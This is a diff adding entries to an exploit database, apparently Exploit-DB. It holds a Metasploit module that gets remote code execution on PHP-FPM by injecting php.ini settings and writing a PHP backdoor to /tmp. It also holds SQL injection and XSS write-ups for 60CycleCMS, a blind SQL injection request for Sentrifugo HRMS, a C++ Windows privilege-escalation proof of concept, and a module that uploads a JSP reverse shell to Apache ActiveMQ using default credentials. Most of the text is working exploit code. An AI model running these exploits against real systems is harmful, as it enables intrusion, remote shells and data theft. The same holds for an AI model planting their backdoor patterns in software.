|
res = client.send_recv(client.request_raw(opts), actual_timeout)
|
||||||
|
end
|
||||||
|
res
|
||||||
|
end
|
||||||
|
|
||||||
|
def repeat_operation(op, opts={})
|
||||||
|
datastore['OperationMaxRetries'].times do |i|
|
||||||
|
vprint_status("#{op}: try ##{i+1}")
|
||||||
|
res = opts.empty? ? send(op) : send(op, opts)
|
||||||
|
return res if res
|
||||||
|
end
|
||||||
|
nil
|
||||||
|
end
|
||||||
|
|
||||||
|
def extend_qsl_list(qsl_candidates)
|
||||||
|
qsl_candidates.each_with_object([]) do |qsl, extended_qsl|
|
||||||
|
(0..datastore['MaxQSLDetectDelta']).step(datastore['QSLDetectStep']) do |delta|
|
||||||
|
extended_qsl << qsl - delta
|
||||||
|
end
|
||||||
|
end.sort.uniq
|
||||||
|
end
|
||||||
|
|
||||||
|
def sanity_check?
|
||||||
|
datastore['OperationMaxRetries'].times do
|
||||||
|
res = send_crafted_request(
|
||||||
|
path: "/PHP\nSOSAT",
|
||||||
|
qsl: datastore['MaxQSL'],
|
||||||
|
customh_length: datastore['MaxCustomHeaderLength']
|
||||||
|
)
|
||||||
|
unless res
|
||||||
|
vprint_error("Error during sanity check")
|
||||||
|
return false
|
||||||
|
end
|
||||||
|
if res.code != @base_status
|
||||||
|
vprint_error(
|
||||||
|
"Invalid status code: #{res.code} (must be #{@base_status}). "\
|
||||||
|
"Maybe \".php\" suffix is required?"
|
||||||
|
)
|
||||||
|
return false
|
||||||
|
end
|
||||||
|
detect_method = self.class.detect_methods[datastore['DetectMethod']]
|
||||||
|
if detect_method.php_option_enabled?(res)
|
||||||
|
vprint_error(
|
||||||
|
"Detection method '#{datastore['DetectMethod']}' won't work since "\
|
||||||
|
"the PHP option has already been set on the target. Try another one"
|
||||||
|
)
|
||||||
|
return false
|
||||||
|
end
|
||||||
|
end
|
||||||
|
return true
|
||||||
|
end
|
||||||
|
|
||||||
|
def set_php_setting(php_setting:, qsl:, customh_length:, cmd: '')
|
||||||
|
res = nil
|
||||||
|
path = "/PHP_VALUE\n#{php_setting}"
|
||||||
|
pos_offset = 34
|
||||||
|
if path.length > pos_offset
|
||||||
|
vprint_error(
|
||||||
|
"The path size (#{path.length} bytes) is larger than the allowed size "\
|
||||||
|
"(#{pos_offset} bytes). Choose a shorter php.ini value (current: '#{php_setting}')")
|
||||||
|
return nil
|
||||||
|
end
|
||||||
|
path += ';' * (pos_offset - path.length)
|
||||||
|
res = send_crafted_request(
|
||||||
|
path: path,
|
||||||
|
qsl: qsl,
|
||||||
|
customh_length: customh_length,
|
||||||
|
cmd: cmd
|
||||||
|
)
|
||||||
|
unless res
|
||||||
|
vprint_error("error while setting #{php_setting} for qsl=#{qsl}, customh_length=#{customh_length}")
|
||||||
|
end
|
||||||
|
return res
|
||||||
|
end
|
||||||
|
|
||||||
|
def send_params_detection(qsl_candidates:, customh_length:, detect_method:)
|
||||||
|
php_setting = detect_method.php_option_enable
|
||||||
|
vprint_status("Iterating until the PHP option is enabled (#{php_setting})...")
|
||||||
|
customh_lengths = customh_length ? [customh_length] : (1..datastore['MaxCustomHeaderLength']).to_a
|
||||||
|
qsl_candidates.product(customh_lengths) do |qsl, c_length|
|
||||||
|
res = set_php_setting(php_setting: php_setting, qsl: qsl, customh_length: c_length)
|
||||||
|
unless res
|
||||||
|
vprint_error("Error for qsl=#{qsl}, customh_length=#{c_length}")
|
||||||
|
return nil
|
||||||
|
end
|
||||||
|
if res.code != @base_status
|
||||||
|
vprint_status("Status code #{res.code} for qsl=#{qsl}, customh_length=#{c_length}")
|
||||||
|
end
|
||||||
|
if detect_method.php_option_enabled?(res)
|
||||||
|
php_setting = detect_method.php_option_disable
|
||||||
|
vprint_status("Attack params found, disabling PHP option (#{php_setting})...")
|
||||||
|
set_php_setting(php_setting: php_setting, qsl: qsl, customh_length: c_length)
|
||||||
|
return { qsl: qsl, customh_length: c_length }
|
||||||
|
end
|
||||||
|
end
|
||||||
|
return nil
|
||||||
|
end
|
||||||
|
|
||||||
|
def detect_params(qsl_candidates)
|
||||||
|
customh_length = nil
|
||||||
|
if datastore['CustomHeaderLengthHint']
|
||||||
|
vprint_status(
|
||||||
|
"Using custom header length hint for max length (customh_length="\
|
||||||
|
"#{datastore['CustomHeaderLengthHint']})"
|
||||||
|
)
|
||||||
|
customh_length = datastore['CustomHeaderLengthHint']
|
||||||
|
end
|
||||||
|
detect_method = self.class.detect_methods[datastore['DetectMethod']]
|
||||||
|
return repeat_operation(
|
||||||
|
:send_params_detection,
|
||||||
|
qsl_candidates: qsl_candidates,
|
||||||
|
customh_length: customh_length,
|
||||||
|
detect_method: detect_method
|
||||||
|
)
|
||||||
|
end
|
||||||
|
|
||||||
|
def send_attack_chain
|
||||||
|
[
|
||||||
|
"short_open_tag=1",
|
||||||
|
"html_errors=0",
|
||||||
|
"include_path=/tmp",
|
||||||
|
"auto_prepend_file=#{@filename}",
|
||||||
|
"log_errors=1",
|
||||||
|
"error_reporting=2",
|
||||||
|
"error_log=/tmp/#{@filename}",
|
||||||
|
"extension_dir=\"<?=`\"",
|
||||||
|
"extension=\"$_GET[#{@http_param}]`?>\""
|
||||||
|
].each do |php_setting|
|
||||||
|
vprint_status("Sending php.ini setting: #{php_setting}")
|
||||||
|
res = set_php_setting(
|
||||||
|
php_setting: php_setting,
|
||||||
|
qsl: @params[:qsl],
|
||||||
|
customh_length: @params[:customh_length],
|
||||||
|
cmd: "/bin/sh -c '#{CHECK_COMMAND}'"
|
||||||
|
)
|
||||||
|
if res
|
||||||
|
return res if res.body.include?(SUCCESS_PATTERN)
|
||||||
|
else
|
||||||
|
print_error("Error when setting #{php_setting}")
|
||||||
|
return nil
|
||||||
|
end
|
||||||
|
end
|
||||||
|
return nil
|
||||||
|
end
|
||||||
|
|
||||||
|
def send_payload
|
||||||
|
disconnect(client) if client&.conn?
|
||||||
|
send_crafted_request(
|
||||||
|
path: '/',
|
||||||
|
qsl: @params[:qsl],
|
||||||
|
customh_length: @params[:customh_length],
|
||||||
|
cmd: payload.encoded,
|
||||||
|
allow_retry: false
|
||||||
|
)
|
||||||
|
Rex.sleep(1)
|
||||||
|
return session_created? ? true : nil
|
||||||
|
end
|
||||||
|
|
||||||
|
def send_backdoor_cleanup
|
||||||
|
cleanup_command = ";echo '<?php echo `$_GET[#{@http_param}]`;return;?>'>/tmp/#{@filename}"
|
||||||
|
res = send_crafted_request(
|
||||||
|
path: '/',
|
||||||
|
qsl: @params[:qsl],
|
||||||
|
customh_length: @params[:customh_length],
|
||||||
|
cmd: cleanup_command + ';' + CHECK_COMMAND
|
||||||
|
)
|
||||||
|
return res if res&.body.include?(SUCCESS_PATTERN)
|
||||||
|
return nil
|
||||||
|
end
|
||||||
|
|
||||||
|
def detect_qsl
|
||||||
|
qsl_candidates = []
|
||||||
|
(datastore['MinQSL']..datastore['MaxQSL']).step(datastore['QSLDetectStep']) do |qsl|
|
||||||
|
res = send_crafted_request(path: "/PHP\nabcdefghijklmopqrstuv.php", qsl: qsl)
|
||||||
|
unless res
|
||||||
|
vprint_error("Error when sending query with QSL=#{qsl}")
|
||||||
|
next
|
||||||
|
end
|
||||||
|
if res.code != @base_status
|
||||||
|
vprint_status("Status code #{res.code} for qsl=#{qsl}, adding as a candidate")
|
||||||
|
qsl_candidates << qsl
|
||||||
|
end
|
||||||
|
end
|
||||||
|
qsl_candidates
|
||||||
|
end
|
||||||
|
|
||||||
|
def check
|
||||||
|
print_status("Sending baseline query...")
|
||||||
|
res = send_crafted_request(path: "/path\ninfo.php")
|
||||||
|
return CheckCode::Unknown("Error when sending baseline query") unless res
|
||||||
|
@base_status = res.code
|
||||||
|
vprint_status("Base status code is #{@base_status}")
|
||||||
|
|
||||||
|
if datastore['QSLHint']
|
||||||
|
print_status("Skipping qsl detection, using hint (qsl=#{datastore['QSLHint']})")
|
||||||
|
qsl_candidates = [datastore['QSLHint']]
|
||||||
|
else
|
||||||
|
print_status("Detecting QSL...")
|
||||||
|
qsl_candidates = detect_qsl
|
||||||
|
end
|
||||||
|
if qsl_candidates.empty?
|
||||||
|
return CheckCode::Detected("No qsl candidates found, not vulnerable or something went wrong")
|
||||||
|
end
|
||||||
|
if qsl_candidates.size > datastore['MaxQSLCandidates']
|
||||||
|
return CheckCode::Detected("Too many qsl candidates found, looks like I got banned")
|
||||||
|
end
|
||||||
|
|
||||||
|
print_good("The target is probably vulnerable. Possible QSLs: #{qsl_candidates}")
|
||||||
|
|
||||||
|
qsl_candidates = extend_qsl_list(qsl_candidates)
|
||||||
|
vprint_status("Extended QSL list: #{qsl_candidates}")
|
||||||
|
|
||||||
|
print_status("Doing sanity check...")
|
||||||
|
return CheckCode::Detected('Sanity check failed') unless sanity_check?
|
||||||
|
|
||||||
|
print_status("Detecting attack parameters...")
|
||||||
|
@params = detect_params(qsl_candidates)
|
||||||
|
return CheckCode::Detected('Unable to detect parameters') unless @params
|
||||||
|
|
||||||
|
print_good("Parameters found: QSL=#{@params[:qsl]}, customh_length=#{@params[:customh_length]}")
|
||||||
|
print_good("Target is vulnerable!")
|
||||||
|
CheckCode::Vulnerable
|
||||||
|
ensure
|
||||||
|
disconnect(client) if client&.conn?
|
||||||
|
end
|
||||||
|
|
||||||
|
def exploit
|
||||||
|
unless check == CheckCode::Vulnerable
|
||||||
|
fail_with Failure::NotVulnerable, 'Target is not vulnerable.'
|
||||||
|
end
|
||||||
|
if @params[:qsl].nil? || @params[:customh_length].nil?
|
||||||
|
fail_with Failure::NotVulnerable, 'Attack parameters not found'
|
||||||
|
end
|
||||||
|
|
||||||
|
print_status("Performing attack using php.ini settings...")
|
||||||
|
if repeat_operation(:send_attack_chain)
|
||||||
|
print_good("Success! Was able to execute a command by appending '#{CHECK_COMMAND}'")
|
||||||
|
else
|
||||||
|
fail_with Failure::Unknown, 'Failed to send the attack chain'
|
||||||
|
end
|
||||||
|
|
||||||
|
print_status("Trying to cleanup /tmp/#{@filename}...")
|
||||||
|
if repeat_operation(:send_backdoor_cleanup)
|
||||||
|
print_good('Cleanup done!')
|
||||||
|
end
|
||||||
|
|
||||||
|
print_status("Sending payload...")
|
||||||
|
repeat_operation(:send_payload)
|
||||||
|
end
|
||||||
|
|
||||||
|
def send_cleanup(cleanup_cmd:)
|
||||||
|
res = send_crafted_request(
|
||||||
|
path: '/',
|
||||||
|
qsl: @params[:qsl],
|
||||||
|
customh_length: @params[:customh_length],
|
||||||
|
cmd: cleanup_cmd
|
||||||
|
)
|
||||||
|
return res if res && res.code != @base_status
|
||||||
|
return nil
|
||||||
|
end
|
||||||
|
|
||||||
|
def cleanup
|
||||||
|
return unless successful
|
||||||
|
kill_workers = 'for p in `pidof php-fpm`; do kill -9 $p;done'
|
||||||
|
rm = "rm -f /tmp/#{@filename}"
|
||||||
|
cleanup_cmd = kill_workers + ';' + rm
|
||||||
|
disconnect(client) if client&.conn?
|
||||||
|
print_status("Remove /tmp/#{@filename} and kill workers...")
|
||||||
|
if repeat_operation(:send_cleanup, cleanup_cmd: cleanup_cmd)
|
||||||
|
print_good("Done!")
|
||||||
|
else
|
||||||
|
print_bad(
|
||||||
|
"Could not cleanup. Run these commands before terminating the session: "\
|
||||||
|
"#{kill_workers}; #{rm}"
|
||||||
|
)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
67
exploits/php/webapps/48177.txt
Normal file
67
exploits/php/webapps/48177.txt
Normal file
|
@ -0,0 +1,67 @@
|
||||||
|
# Exploit Title: 60CycleCMS 2.5.2 - 'news.php' SQL Injection
|
||||||
|
# Google Dork: N/A
|
||||||
|
# Date: 2020-03-07
|
||||||
|
# Exploit Author: Unkn0wn
|
||||||
|
# Vendor Homepage: http://davidvg.com/
|
||||||
|
# Software Link: https://www.opensourcecms.com/60cyclecms
|
||||||
|
# Version: 2.5.2
|
||||||
|
# Tested on: Ubuntu
|
||||||
|
# CVE : N/A
|
||||||
|
---------------------------------------------------------
|
||||||
|
|
||||||
|
SQL Injection vulnerability:
|
||||||
|
----------------------------
|
||||||
|
in file /common/lib.php Line 64 -73
|
||||||
|
*
|
||||||
|
function getCommentsLine($title)
|
||||||
|
{
|
||||||
|
=09$title =3D addslashes($title);
|
||||||
|
=09$query =3D "SELECT `timestamp` FROM `comments` WHERE entry_id=3D '$title=
|
||||||
|
'";
|
||||||
|
=09// query MySQL server
|
||||||
|
=09$result=3Dmysql_query($query) or die("MySQL Query fail: $query");=09
|
||||||
|
=09$numComments =3D mysql_num_rows($result);
|
||||||
|
=09$encTitle =3D urlencode($title);
|
||||||
|
=09return '<a href=3D"post.php?post=3D' . $encTitle . '#comments" >' . $num=
|
||||||
|
Comments . ' comments</a>';=09
|
||||||
|
}
|
||||||
|
lib.php line 44:
|
||||||
|
*
|
||||||
|
=09$query =3D "SELECT `timestamp`,`author`,`text` FROM `comments` WHERE `en=
|
||||||
|
try_id` =3D'$title' ORDER BY `timestamp` ASC";
|
||||||
|
|
||||||
|
*
|
||||||
|
*
|
||||||
|
news.php line 3:
|
||||||
|
*
|
||||||
|
require 'common/lib.php';
|
||||||
|
*=20
|
||||||
|
Then in line 15 return query us:
|
||||||
|
*
|
||||||
|
$query =3D "SELECT MAX(`timestamp`) FROM `entries
|
||||||
|
*
|
||||||
|
|
||||||
|
http://127.0.0.1/news.php?title=3D$postName[SQL Injection]
|
||||||
|
----------------------------
|
||||||
|
Cross Site-Scripting vulnerability:
|
||||||
|
File news.php in line: 136-138 :
|
||||||
|
*
|
||||||
|
$ltsu =3D $_GET["ltsu"];
|
||||||
|
$etsu =3D $_GET["etsu"];
|
||||||
|
$post =3D $_GET["post"];
|
||||||
|
*
|
||||||
|
get payload us and printEnerty.php file in line 26-27:
|
||||||
|
*
|
||||||
|
<? echo '<a class=3D"navLink" href=3D"index.php?etsu=3D' . $etsu . '">Older=
|
||||||
|
></a>';
|
||||||
|
<? echo '<a class=3D"navLink" href=3D"index.php?ltsu=3D' . 0 . '">Oldest &g=
|
||||||
|
t;>|</a>';=20
|
||||||
|
*
|
||||||
|
|
||||||
|
print it for us!
|
||||||
|
http://127.0.0.1/index.php?etsu=3D[XSS Payloads]
|
||||||
|
http://127.0.0.1/index.php?ltsu=3D[XSS Payloads]
|
||||||
|
----------------------------------------------------------
|
||||||
|
|
||||||
|
# @ 2010 - 2020
|
||||||
|
# Underground Researcher
|
45
exploits/php/webapps/48179.txt
Normal file
45
exploits/php/webapps/48179.txt
Normal file
|
@ -0,0 +1,45 @@
|
||||||
|
# Exploit Title: Sentrifugo HRMS 3.2 - 'id' SQL Injection
|
||||||
|
# Exploit Author: minhnb
|
||||||
|
# Website:
|
||||||
|
# Date: 2020-03-06
|
||||||
|
# Google Dork: N/A
|
||||||
|
# Vendor: http://www.sapplica.com
|
||||||
|
# Software Link: http://www.sentrifugo.com/download
|
||||||
|
# Affected Version: 3.2 and possibly before
|
||||||
|
# Patched Version: unpatched
|
||||||
|
# Category: Web Application
|
||||||
|
# Platform: PHP
|
||||||
|
# Tested on: Win10x64 & Kali Linux
|
||||||
|
# CVE: N/A
|
||||||
|
|
||||||
|
# 1. Technical Description:
|
||||||
|
# Sentrifugo HRMS version 3.2 and possibly before are affected by Blind SQL Injection in deptid
|
||||||
|
# parameter through POST request in "/sentrifugo/index.php/holidaygroups/add" resource.
|
||||||
|
# This allows a user of the application without permissions to read sensitive information from
|
||||||
|
# the database used by the application.
|
||||||
|
|
||||||
|
# 2. Proof Of Concept (PoC):
|
||||||
|
|
||||||
|
POST /sentrifugo/index.php/holidaygroups/add HTTP/1.1
|
||||||
|
Content-Type: application/x-www-form-urlencoded
|
||||||
|
X-Requested-With: XMLHttpRequest
|
||||||
|
Referer: http://localhost/sentrifugo/index.php
|
||||||
|
Connection: keep-alive
|
||||||
|
Cookie: PHPSESSID=j4a2o4mq6frhfltq2a0h2spknh
|
||||||
|
Accept: */*
|
||||||
|
Accept-Encoding: gzip,deflate
|
||||||
|
Content-Length: 98
|
||||||
|
Host: localhost
|
||||||
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.103 Safari/537.36
|
||||||
|
|
||||||
|
Cancel=1&description=555&groupname=e&id=0'XOR(if(now()=sysdate()%2Csleep(9)%2C0))XOR'Z&submit=Save
|
||||||
|
|
||||||
|
|
||||||
|
# 3. Payload:
|
||||||
|
|
||||||
|
Parameter: id (POST)
|
||||||
|
Type: time-based blind
|
||||||
|
Title: MySQL >= 5.0 time-based blind - Parameter replace
|
||||||
|
Payload: Cancel=1&description=555&groupname=e&id=0'XOR(if(now()=sysdate(),sleep(0),0))XOR'Z&submit=Save
|
||||||
|
|
||||||
|
# 4. Reference:
|
59
exploits/windows/local/48180.cpp
Normal file
59
exploits/windows/local/48180.cpp
Normal file
|
@ -0,0 +1,59 @@
|
||||||
|
#include <cstdio>
|
||||||
|
#include <windows.h>
|
||||||
|
|
||||||
|
extern "C" NTSTATUS NtUserMessageCall(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam, ULONG_PTR ResultInfo, DWORD dwType, BOOL bAscii);
|
||||||
|
|
||||||
|
int main() {
|
||||||
|
HINSTANCE hInstance = GetModuleHandle(NULL);
|
||||||
|
|
||||||
|
WNDCLASSEX wcx;
|
||||||
|
ZeroMemory(&wcx, sizeof(wcx));
|
||||||
|
wcx.hInstance = hInstance;
|
||||||
|
wcx.cbSize = sizeof(wcx);
|
||||||
|
wcx.lpszClassName = L"SploitWnd";
|
||||||
|
wcx.lpfnWndProc = DefWindowProc;
|
||||||
|
wcx.cbWndExtra = 8; //pass check in xxxSwitchWndProc to set wnd->fnid = 0x2A0
|
||||||
|
|
||||||
|
printf("[*] Registering window\n");
|
||||||
|
ATOM wndAtom = RegisterClassEx(&wcx);
|
||||||
|
if (wndAtom == INVALID_ATOM) {
|
||||||
|
printf("[-] Failed registering SploitWnd window class\n");
|
||||||
|
exit(-1);
|
||||||
|
}
|
||||||
|
|
||||||
|
printf("[*] Creating instance of this window\n");
|
||||||
|
HWND sploitWnd = CreateWindowEx(0, L"SploitWnd", L"", WS_VISIBLE, 0, 0, 0, 0, NULL, NULL, hInstance, NULL);
|
||||||
|
if (sploitWnd == INVALID_HANDLE_VALUE) {
|
||||||
|
printf("[-] Failed to create SploitWnd window\n");
|
||||||
|
exit(-1);
|
||||||
|
}
|
||||||
|
|
||||||
|
printf("[*] Calling NtUserMessageCall to set fnid = 0x2A0 on window\n");
|
||||||
|
NtUserMessageCall(sploitWnd, WM_CREATE, 0, 0, 0, 0xE0, 1);
|
||||||
|
|
||||||
|
printf("[*] Allocate memory to be used for corruption\n");
|
||||||
|
PVOID mem = VirtualAlloc(0, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
||||||
|
printf("\tptr: %p\n", mem);
|
||||||
|
PBYTE byteView = (PBYTE)mem;
|
||||||
|
byteView[0x6c] = 1; // use GetKeyState in xxxPaintSwitchWindow
|
||||||
|
|
||||||
|
//pass DrawSwitchWndHilite double dereference
|
||||||
|
PVOID* ulongView = (PVOID*)mem;
|
||||||
|
ulongView[0x20 / sizeof(PVOID)] = mem;
|
||||||
|
|
||||||
|
printf("[*] Calling SetWindowLongPtr to set window extra data, that will be later dereferenced\n");
|
||||||
|
SetWindowLongPtr(sploitWnd, 0, (LONG_PTR)mem);
|
||||||
|
printf("[*] GetLastError = %x\n", GetLastError());
|
||||||
|
|
||||||
|
printf("[*] Creating switch window #32771, this has a result of setting (gpsi+0x154) = 0x130\n");
|
||||||
|
HWND switchWnd = CreateWindowEx(0, (LPCWSTR)0x8003, L"", 0, 0, 0, 0, 0, NULL, NULL, hInstance, NULL);
|
||||||
|
|
||||||
|
printf("[*] Simulating alt key press\n");
|
||||||
|
BYTE keyState[256];
|
||||||
|
GetKeyboardState(keyState);
|
||||||
|
keyState[VK_MENU] |= 0x80;
|
||||||
|
SetKeyboardState(keyState);
|
||||||
|
|
||||||
|
printf("[*] Triggering dereference of wnd->extraData by calling NtUserMessageCall second time");
|
||||||
|
NtUserMessageCall(sploitWnd, WM_ERASEBKGND, 0, 0, 0, 0x0, 1);
|
||||||
|
}
|
129
exploits/windows/remote/48181.rb
Executable file
129
exploits/windows/remote/48181.rb
Executable file
|
@ -0,0 +1,129 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: https://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
class MetasploitModule < Msf::Exploit::Remote
|
||||||
|
Rank = ExcellentRanking
|
||||||
|
|
||||||
|
include Msf::Exploit::Remote::HttpClient
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'Apache ActiveMQ 5.x-5.11.1 Directory Traversal Shell Upload',
|
||||||
|
'Description' => %q{
|
||||||
|
This module exploits a directory traversal vulnerability (CVE-2015-1830) in Apache
|
||||||
|
ActiveMQ 5.x before 5.11.2 for Windows.
|
||||||
|
|
||||||
|
The module tries to upload a JSP payload to the /admin directory via the traversal
|
||||||
|
path /fileserver/..\\admin\\ using an HTTP PUT request with the default ActiveMQ
|
||||||
|
credentials admin:admin (or other credentials provided by the user). It then issues
|
||||||
|
an HTTP GET request to /admin/<payload>.jsp on the target in order to trigger the
|
||||||
|
payload and obtain a shell.
|
||||||
|
},
|
||||||
|
'Author' =>
|
||||||
|
[
|
||||||
|
'David Jorm', # Discovery and exploit
|
||||||
|
'Erik Wynter' # @wyntererik - Metasploit
|
||||||
|
],
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
[ 'CVE', '2015-1830' ],
|
||||||
|
[ 'EDB', '40857'],
|
||||||
|
[ 'URL', 'https://activemq.apache.org/security-advisories.data/CVE-2015-1830-announcement.txt' ]
|
||||||
|
],
|
||||||
|
'Privileged' => false,
|
||||||
|
'Platform' => %w{ win },
|
||||||
|
'Targets' =>
|
||||||
|
[
|
||||||
|
[ 'Windows Java',
|
||||||
|
{
|
||||||
|
'Arch' => ARCH_JAVA,
|
||||||
|
'Platform' => 'win'
|
||||||
|
}
|
||||||
|
],
|
||||||
|
],
|
||||||
|
'DisclosureDate' => '2015-08-19',
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'DefaultOptions' => {
|
||||||
|
'RPORT' => 8161,
|
||||||
|
'PAYLOAD' => 'java/jsp_shell_reverse_tcp'
|
||||||
|
},
|
||||||
|
'DefaultTarget' => 0))
|
||||||
|
|
||||||
|
register_options([
|
||||||
|
OptString.new('TARGETURI', [true, 'The base path to the web application', '/']),
|
||||||
|
OptString.new('PATH', [true, 'Traversal path', '/fileserver/..\\admin\\']),
|
||||||
|
OptString.new('USERNAME', [true, 'Username to authenticate with', 'admin']),
|
||||||
|
OptString.new('PASSWORD', [true, 'Password to authenticate with', 'admin'])
|
||||||
|
])
|
||||||
|
end
|
||||||
|
|
||||||
|
def check
|
||||||
|
print_status("Running check...")
|
||||||
|
testfile = Rex::Text::rand_text_alpha(10)
|
||||||
|
testcontent = Rex::Text::rand_text_alpha(10)
|
||||||
|
|
||||||
|
send_request_cgi({
|
||||||
|
'uri' => normalize_uri(target_uri.path, datastore['PATH'], "#{testfile}.jsp"),
|
||||||
|
'headers' => {
|
||||||
|
'Authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD'])
|
||||||
|
},
|
||||||
|
'method' => 'PUT',
|
||||||
|
'data' => "<% out.println(\"#{testcontent}\");%>"
|
||||||
|
})
|
||||||
|
|
||||||
|
res1 = send_request_cgi({
|
||||||
|
'uri' => normalize_uri(target_uri.path,"admin/#{testfile}.jsp"),
|
||||||
|
'headers' => {
|
||||||
|
'Authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD'])
|
||||||
|
},
|
||||||
|
'method' => 'GET'
|
||||||
|
})
|
||||||
|
|
||||||
|
if res1 && res1.body.include?(testcontent)
|
||||||
|
send_request_cgi(
|
||||||
|
opts = {
|
||||||
|
'uri' => normalize_uri(target_uri.path,"admin/#{testfile}.jsp"),
|
||||||
|
'headers' => {
|
||||||
|
'Authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD'])
|
||||||
|
},
|
||||||
|
'method' => 'DELETE'
|
||||||
|
},
|
||||||
|
timeout = 1
|
||||||
|
)
|
||||||
|
return Exploit::CheckCode::Vulnerable
|
||||||
|
end
|
||||||
|
|
||||||
|
Exploit::CheckCode::Safe
|
||||||
|
end
|
||||||
|
|
||||||
|
def exploit
|
||||||
|
print_status("Uploading payload...")
|
||||||
|
testfile = Rex::Text::rand_text_alpha(10)
|
||||||
|
vprint_status("If upload succeeds, payload will be available at #{target_uri.path}admin/#{testfile}.jsp") #This information is provided to allow for manual execution of the payload in case the upload is successful but the GET request issued by the module fails.
|
||||||
|
|
||||||
|
send_request_cgi({
|
||||||
|
'uri' => normalize_uri(target_uri.path, datastore['PATH'], "#{testfile}.jsp"),
|
||||||
|
'headers' => {
|
||||||
|
'Authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD'])
|
||||||
|
},
|
||||||
|
'method' => 'PUT',
|
||||||
|
'data' => payload.encoded
|
||||||
|
})
|
||||||
|
|
||||||
|
print_status("Payload sent. Attempting to execute the payload.")
|
||||||
|
res = send_request_cgi({
|
||||||
|
'uri' => normalize_uri(target_uri.path,"admin/#{testfile}.jsp"),
|
||||||
|
'headers' => {
|
||||||
|
'Authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD'])
|
||||||
|
},
|
||||||
|
'method' => 'GET'
|
||||||
|
})
|
||||||
|
if res && res.code == 200
|
||||||
|
print_good("Payload executed!")
|
||||||
|
else
|
||||||
|
fail_with(Failure::PayloadFailed, "Failed to execute the payload")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
|
@ -10984,6 +10984,8 @@ id,file,description,date,author,type,platform,port
|
||||||
48172,exploits/windows/local/48172.txt,"SpyHunter 4 - 'SpyHunter 4 Service' Unquoted Service Path",2020-03-06,"Alejandro Reyes",local,windows,
|
48172,exploits/windows/local/48172.txt,"SpyHunter 4 - 'SpyHunter 4 Service' Unquoted Service Path",2020-03-06,"Alejandro Reyes",local,windows,
|
||||||
48173,exploits/windows/local/48173.txt,"ASUS GiftBox Desktop 1.1.1.127 - 'ASUSGiftBoxDesktop' Unquoted Service Path",2020-03-06,"Oscar Flores",local,windows,
|
48173,exploits/windows/local/48173.txt,"ASUS GiftBox Desktop 1.1.1.127 - 'ASUSGiftBoxDesktop' Unquoted Service Path",2020-03-06,"Oscar Flores",local,windows,
|
||||||
48174,exploits/windows/local/48174.txt,"Deep Instinct Windows Agent 1.2.29.0 - 'DeepMgmtService' Unquoted Service Path",2020-03-06,"Oscar Flores",local,windows,
|
48174,exploits/windows/local/48174.txt,"Deep Instinct Windows Agent 1.2.29.0 - 'DeepMgmtService' Unquoted Service Path",2020-03-06,"Oscar Flores",local,windows,
|
||||||
|
48180,exploits/windows/local/48180.cpp,"Microsoft Windows - 'WizardOpium' Local Privilege Escalation",2020-03-03,piotrflorczyk,local,windows,
|
||||||
|
48185,exploits/linux/local/48185.rb,"OpenSMTPD - OOB Read Local Privilege Escalation (Metasploit)",2020-03-09,Metasploit,local,linux,
|
||||||
1,exploits/windows/remote/1.c,"Microsoft IIS - WebDAV 'ntdll.dll' Remote Overflow",2003-03-23,kralor,remote,windows,80
|
1,exploits/windows/remote/1.c,"Microsoft IIS - WebDAV 'ntdll.dll' Remote Overflow",2003-03-23,kralor,remote,windows,80
|
||||||
2,exploits/windows/remote/2.c,"Microsoft IIS 5.0 - WebDAV Remote",2003-03-24,RoMaNSoFt,remote,windows,80
|
2,exploits/windows/remote/2.c,"Microsoft IIS 5.0 - WebDAV Remote",2003-03-24,RoMaNSoFt,remote,windows,80
|
||||||
5,exploits/windows/remote/5.c,"Microsoft Windows 2000/NT 4 - RPC Locator Service Remote Overflow",2003-04-03,"Marcin Wolak",remote,windows,139
|
5,exploits/windows/remote/5.c,"Microsoft Windows 2000/NT 4 - RPC Locator Service Remote Overflow",2003-04-03,"Marcin Wolak",remote,windows,139
|
||||||
|
@ -18029,6 +18031,11 @@ id,file,description,date,author,type,platform,port
|
||||||
48168,exploits/windows/remote/48168.rb,"Exchange Control Panel - Viewstate Deserialization (Metasploit)",2020-03-05,Metasploit,remote,windows,443
|
48168,exploits/windows/remote/48168.rb,"Exchange Control Panel - Viewstate Deserialization (Metasploit)",2020-03-05,Metasploit,remote,windows,443
|
||||||
48169,exploits/multiple/remote/48169.rb,"EyesOfNetwork - AutoDiscovery Target Command Execution (Metasploit)",2020-03-05,Metasploit,remote,multiple,
|
48169,exploits/multiple/remote/48169.rb,"EyesOfNetwork - AutoDiscovery Target Command Execution (Metasploit)",2020-03-05,Metasploit,remote,multiple,
|
||||||
48170,exploits/linux/remote/48170.py,"netkit-telnet-0.17 telnetd (Fedora 31) - 'BraveStarr' Remote Code Execution",2020-03-02,Immunity,remote,linux,
|
48170,exploits/linux/remote/48170.py,"netkit-telnet-0.17 telnetd (Fedora 31) - 'BraveStarr' Remote Code Execution",2020-03-02,Immunity,remote,linux,
|
||||||
|
48181,exploits/windows/remote/48181.rb,"Apache ActiveMQ 5.x-5.11.1 - Directory Traversal Shell Upload (Metasploit)",2020-03-09,Metasploit,remote,windows,
|
||||||
|
48182,exploits/php/remote/48182.rb,"PHP-FPM - Underflow Remote Code Execution (Metasploit)",2020-03-09,Metasploit,remote,php,
|
||||||
|
48183,exploits/multiple/remote/48183.rb,"Google Chrome 72 and 73 - Array.map Out-of-Bounds Write (Metasploit)",2020-03-09,Metasploit,remote,multiple,
|
||||||
|
